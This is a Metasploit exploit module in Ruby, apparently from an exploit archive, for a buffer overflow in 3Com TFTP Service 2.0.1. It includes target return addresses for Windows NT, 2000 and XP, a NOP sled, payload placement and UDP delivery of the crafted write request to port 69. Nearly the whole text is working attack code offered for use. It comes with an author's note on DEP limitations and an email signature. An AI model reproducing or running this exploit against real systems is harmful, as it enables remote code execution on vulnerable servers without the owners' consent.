3comtftp.txt

`Doesn't look like SEH is being overwritten so I'm having trouble getting  
this to work with DEP-enabled XPSP2 and 2K3. Tested on XPSP2 and Win2K.   
Includes offsets for NT, 2K and XP (call esi).  
  
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
require 'msf/core'  
  
module Msf  
  
class Exploits::Windows::Tftp::ThreeCeeTftpSvc_Overflow < Msf::Exploit::Remote  
  
include Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => '3CTftpSvc Server 2.0.1 Long Requesat Buffer Overflow',  
'Description' => %q{  
3Com TFTP Service version 2.0.1 suffers from a long type buffer  
overflow during a write TFTP request. Does not require write access  
to be enabled on the server.  
  
Attacker controls ESI.  
  
Liu Qixu of NCNIPC published this vulnerability.  
},  
'Author' => 'grutz [at] jingojango.net',  
'Version' => '$$',  
'References' =>   
[   
['URL', 'http://support.3com.com/software/utilities_for_windows_32_bit.htm'],  
['BID', '21301'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 440,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
  
'Targets' =>  
[  
['Windows 2000 All SP English', { 'Ret' => 0x750217ae } ], # call esi ws2help  
['Windows XP SP2 English', { 'Ret' => 0x71aa1b22 } ], # call esi ws2help  
['Windows NT SP5/6 English', { 'Ret' => 0x776a117e } ], # call esi ws2help  
],  
  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => 'Nov 27 2006'  
  
))  
  
register_options(  
[  
Opt::RPORT(69)  
], self)  
  
end  
  
def exploit  
connect_udp  
  
print_status("Trying target #{target.name}...")  
  
sploit =   
"\x00\x02" +   
Rex::Text.rand_text_english(1, payload_badchars) +   
"\x00" +  
make_nops(473) +  
[target.ret].pack('V') +  
"\x00"  
  
sploit[9, payload.encoded.length] = payload.encoded  
  
udp_sock.put(sploit)  
  
disconnect_udp   
end  
  
end  
end  
  
  
--   
..:[ grutz at jingojango dot net ]:..  
GPG fingerprint: 5FD6 A27D 63DB 3319 140F B3FB EC95 2A03 8CB3 ECB4  
"There's just no amusing way to say, 'I have a CISSP'."  
  
`